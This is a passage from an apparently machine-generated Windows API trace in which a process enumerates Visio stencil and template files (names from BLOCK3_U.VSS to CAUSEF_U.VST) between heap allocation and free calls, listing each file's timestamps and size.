nFileSizeHigh=0x0, nFileSizeLow=0x20200, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLOCK3_U.VSS", cAlternateFileName="")) returned 1 [0079.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.739] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.739] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacc250 [0079.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e72d8 [0079.739] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.739] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc43ad600, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x5060b1a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc43ad600, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x2e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLOCKP_M.VSS", cAlternateFileName="")) returned 1 [0079.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.740] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.740] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.740] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.740] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.740] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacc270 [0079.740] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e73e0 [0079.740] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.740] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41319100, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x5060b1a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x41319100, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLOCKP_M.VST", cAlternateFileName="")) returned 1 [0079.741] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdc43e00, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x50631300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcdc43e00, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x2b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLOCKP_U.VSS", cAlternateFileName="")) returned 1 [0079.741] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4393eb00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50631300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4393eb00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLOCKP_U.VST", cAlternateFileName="")) returned 1 [0079.741] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21f71500, ftCreationTime.dwHighDateTime=0x1c635ed, ftLastAccessTime.dwLowDateTime=0x50631300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x21f71500, ftLastWriteTime.dwHighDateTime=0x1c635ed, nFileSizeHigh=0x0, nFileSizeLow=0xf1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLOCKS.DWG", cAlternateFileName="")) returned 1 [0079.741] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd61c7900, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x5060b1a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd61c7900, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLOCK_M.VSS", cAlternateFileName="")) returned 1 [0079.741] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47277200, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x5060b1a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x47277200, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLOCK_M.VST", cAlternateFileName="")) returned 1 [0079.741] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde74b400, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x5060b1a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xde74b400, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x21c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLOCK_U.VSS", cAlternateFileName="")) returned 1 [0079.741] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4abaf900, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x5060b1a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4abaf900, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLOCK_U.VST", cAlternateFileName="")) returned 1 [0079.741] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b0dc600, ftCreationTime.dwHighDateTime=0x1ca5e7e, ftLastAccessTime.dwLowDateTime=0x50657460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5b0dc600, ftLastWriteTime.dwHighDateTime=0x1ca5e7e, nFileSizeHigh=0x0, nFileSizeLow=0x21c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BORDRS_M.VSS", cAlternateFileName="")) returned 1 [0079.741] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b0dc600, ftCreationTime.dwHighDateTime=0x1ca5e7e, ftLastAccessTime.dwLowDateTime=0x50657460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5b0dc600, ftLastWriteTime.dwHighDateTime=0x1ca5e7e, nFileSizeHigh=0x0, nFileSizeLow=0x21a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BORDRS_U.VSS", cAlternateFileName="")) returned 1 [0079.741] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f0d8600, ftCreationTime.dwHighDateTime=0x1ca4e35, ftLastAccessTime.dwLowDateTime=0x50657460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4f0d8600, ftLastWriteTime.dwHighDateTime=0x1ca4e35, nFileSizeHigh=0x0, nFileSizeLow=0x8ec00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BPMNA_M.VSS", cAlternateFileName="")) returned 1 [0079.741] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89772300, ftCreationTime.dwHighDateTime=0x1ca4e35, ftLastAccessTime.dwLowDateTime=0x50657460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x89772300, ftLastWriteTime.dwHighDateTime=0x1ca4e35, nFileSizeHigh=0x0, nFileSizeLow=0x8da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BPMNA_U.VSS", cAlternateFileName="")) returned 1 [0079.741] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fb46700, ftCreationTime.dwHighDateTime=0x1ca4727, ftLastAccessTime.dwLowDateTime=0x5067d5c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4fb46700, ftLastWriteTime.dwHighDateTime=0x1ca4727, nFileSizeHigh=0x0, nFileSizeLow=0xe800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BPMNC_M.VSS", cAlternateFileName="")) returned 1 [0079.741] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54791b00, ftCreationTime.dwHighDateTime=0x1ca4727, ftLastAccessTime.dwLowDateTime=0x5067d5c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x54791b00, ftLastWriteTime.dwHighDateTime=0x1ca4727, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BPMNC_U.VSS", cAlternateFileName="")) returned 1 [0079.741] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd609300, ftCreationTime.dwHighDateTime=0x1ca4727, ftLastAccessTime.dwLowDateTime=0x5067d5c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xbd609300, ftLastWriteTime.dwHighDateTime=0x1ca4727, nFileSizeHigh=0x0, nFileSizeLow=0xb2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BPMNE_M.VSS", cAlternateFileName="")) returned 1 [0079.741] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6990300, ftCreationTime.dwHighDateTime=0x1ca4727, ftLastAccessTime.dwLowDateTime=0x5067d5c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6990300, ftLastWriteTime.dwHighDateTime=0x1ca4727, nFileSizeHigh=0x0, nFileSizeLow=0xb0600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BPMNE_U.VSS", cAlternateFileName="")) returned 1 [0079.741] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eec4d00, ftCreationTime.dwHighDateTime=0x1ca4e35, ftLastAccessTime.dwLowDateTime=0x5067d5c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9eec4d00, ftLastWriteTime.dwHighDateTime=0x1ca4e35, nFileSizeHigh=0x0, nFileSizeLow=0x1a800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BPMNG_M.VSS", cAlternateFileName="")) returned 1 [0079.741] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaad80f00, ftCreationTime.dwHighDateTime=0x1ca4e35, ftLastAccessTime.dwLowDateTime=0x5067d5c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xaad80f00, ftLastWriteTime.dwHighDateTime=0x1ca4e35, nFileSizeHigh=0x0, nFileSizeLow=0x1a200, dwReserved0=0x0, dwReserved1=0x0, cFileName="BPMNG_U.VSS", cAlternateFileName="")) returned 1 [0079.742] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6188000, ftCreationTime.dwHighDateTime=0x1ca5d07, ftLastAccessTime.dwLowDateTime=0x50657460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe6188000, ftLastWriteTime.dwHighDateTime=0x1ca5d07, nFileSizeHigh=0x0, nFileSizeLow=0x4d200, dwReserved0=0x0, dwReserved1=0x0, cFileName="BPMN_M.VSS", cAlternateFileName="")) returned 1 [0079.742] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57f43300, ftCreationTime.dwHighDateTime=0x1ca6bfd, ftLastAccessTime.dwLowDateTime=0x50657460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x57f43300, ftLastWriteTime.dwHighDateTime=0x1ca6bfd, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BPMN_M.VST", cAlternateFileName="")) returned 1 [0079.742] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fea8600, ftCreationTime.dwHighDateTime=0x1ca5d0a, ftLastAccessTime.dwLowDateTime=0x50657460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1fea8600, ftLastWriteTime.dwHighDateTime=0x1ca5d0a, nFileSizeHigh=0x0, nFileSizeLow=0x4c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BPMN_U.VSS", cAlternateFileName="")) returned 1 [0079.742] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91849200, ftCreationTime.dwHighDateTime=0x1ca4e38, ftLastAccessTime.dwLowDateTime=0x50657460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x91849200, ftLastWriteTime.dwHighDateTime=0x1ca4e38, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BPMN_U.VST", cAlternateFileName="")) returned 1 [0079.742] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x395adb00, ftCreationTime.dwHighDateTime=0x1ca4728, ftLastAccessTime.dwLowDateTime=0x5067d5c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x395adb00, ftLastWriteTime.dwHighDateTime=0x1ca4728, nFileSizeHigh=0x0, nFileSizeLow=0x19c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BPRES_M.VSS", cAlternateFileName="")) returned 1 [0079.742] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f50bc00, ftCreationTime.dwHighDateTime=0x1ca4728, ftLastAccessTime.dwLowDateTime=0x5067d5c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3f50bc00, ftLastWriteTime.dwHighDateTime=0x1ca4728, nFileSizeHigh=0x0, nFileSizeLow=0x18e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BPRES_U.VSS", cAlternateFileName="")) returned 1 [0079.742] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff3d8300, ftCreationTime.dwHighDateTime=0x1c32fa0, ftLastAccessTime.dwLowDateTime=0x5067d5c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xff3d8300, ftLastWriteTime.dwHighDateTime=0x1c32fa0, nFileSizeHigh=0x0, nFileSizeLow=0x559, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRAINSTM.XML", cAlternateFileName="")) returned 1 [0079.742] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41b31600, ftCreationTime.dwHighDateTime=0x1ca4728, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x41b31600, ftLastWriteTime.dwHighDateTime=0x1ca4728, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSTORM_M.VSS", cAlternateFileName="")) returned 1 [0079.742] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8eb7f900, ftCreationTime.dwHighDateTime=0x1ca489c, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8eb7f900, ftLastWriteTime.dwHighDateTime=0x1ca489c, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSTORM_M.VST", cAlternateFileName="")) returned 1 [0079.742] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44157000, ftCreationTime.dwHighDateTime=0x1ca4728, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x44157000, ftLastWriteTime.dwHighDateTime=0x1ca4728, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSTORM_U.VSS", cAlternateFileName="")) returned 1 [0079.742] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x937cad00, ftCreationTime.dwHighDateTime=0x1ca489c, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x937cad00, ftLastWriteTime.dwHighDateTime=0x1ca489c, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSTORM_U.VST", cAlternateFileName="")) returned 1 [0079.742] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d9ed800, ftCreationTime.dwHighDateTime=0x1ca4728, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4d9ed800, ftLastWriteTime.dwHighDateTime=0x1ca4728, nFileSizeHigh=0x0, nFileSizeLow=0x22800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BTHKT_M.VSS", cAlternateFileName="")) returned 1 [0079.742] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55f71300, ftCreationTime.dwHighDateTime=0x1ca4728, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x55f71300, ftLastWriteTime.dwHighDateTime=0x1ca4728, nFileSizeHigh=0x0, nFileSizeLow=0x1fc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BTHKT_U.VSS", cAlternateFileName="")) returned 1 [0079.742] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61e2d500, ftCreationTime.dwHighDateTime=0x1ca4728, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x61e2d500, ftLastWriteTime.dwHighDateTime=0x1ca4728, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CABNT_M.VSS", cAlternateFileName="")) returned 1 [0079.742] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c9d6a00, ftCreationTime.dwHighDateTime=0x1ca4728, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6c9d6a00, ftLastWriteTime.dwHighDateTime=0x1ca4728, nFileSizeHigh=0x0, nFileSizeLow=0x1c200, dwReserved0=0x0, dwReserved1=0x0, cFileName="CABNT_U.VSS", cAlternateFileName="")) returned 1 [0079.742] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98b8eb00, ftCreationTime.dwHighDateTime=0x1ca4728, ftLastAccessTime.dwLowDateTime=0x506c9880, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x98b8eb00, ftLastWriteTime.dwHighDateTime=0x1ca4728, nFileSizeHigh=0x0, nFileSizeLow=0x19f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALNDR_M.VSS", cAlternateFileName="")) returned 1 [0079.742] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55758e00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x506c9880, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x55758e00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALNDR_M.VST", cAlternateFileName="")) returned 1 [0079.742] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbede8b00, ftCreationTime.dwHighDateTime=0x1ca4728, ftLastAccessTime.dwLowDateTime=0x506ef9e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xbede8b00, ftLastWriteTime.dwHighDateTime=0x1ca4728, nFileSizeHigh=0x0, nFileSizeLow=0x19da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALNDR_U.VSS", cAlternateFileName="")) returned 1 [0079.743] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59091500, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x506ef9e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x59091500, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALNDR_U.VST", cAlternateFileName="")) returned 1 [0079.743] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6059900, ftCreationTime.dwHighDateTime=0x1ca4728, ftLastAccessTime.dwLowDateTime=0x506ef9e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc6059900, ftLastWriteTime.dwHighDateTime=0x1ca4728, nFileSizeHigh=0x0, nFileSizeLow=0x21a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALOUT_M.VSS", cAlternateFileName="")) returned 1 [0079.743] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd2ca700, ftCreationTime.dwHighDateTime=0x1ca4728, ftLastAccessTime.dwLowDateTime=0x506ef9e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcd2ca700, ftLastWriteTime.dwHighDateTime=0x1ca4728, nFileSizeHigh=0x0, nFileSizeLow=0x1fc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALOUT_U.VSS", cAlternateFileName="")) returned 1 [0079.743] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf8f0100, ftCreationTime.dwHighDateTime=0x1ca4728, ftLastAccessTime.dwLowDateTime=0x50715b40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf8f0100, ftLastWriteTime.dwHighDateTime=0x1ca4728, nFileSizeHigh=0x0, nFileSizeLow=0xb800, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAUSEF_M.VSS", cAlternateFileName="")) returned 1 [0079.743] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb018e500, ftCreationTime.dwHighDateTime=0x1ca489c, ftLastAccessTime.dwLowDateTime=0x50715b40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb018e500, ftLastWriteTime.dwHighDateTime=0x1ca489c, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAUSEF_M.VST", cAlternateFileName="")) returned 1 [0079.743] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3228800, ftCreationTime.dwHighDateTime=0x1ca4728, ftLastAccessTime.dwLowDateTime=0x50715b40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd3228800, ftLastWriteTime.dwHighDateTime=0x1ca4728, nFileSizeHigh=0x0, nFileSizeLow=0xb400, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAUSEF_U.VSS", cAlternateFileName="")) returned 1 [0079.743] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb60ec600, ftCreationTime.dwHighDateTime=0x1ca489c, ftLastAccessTime.dwLowDateTime=0x50715b40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb60ec600, ftLastWriteTime.dwHighDateTime=0x1ca489c, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAUSEF_U.VST", cAlternateFileName="")) returned 1 [0079.743] FindNextFileW (in: 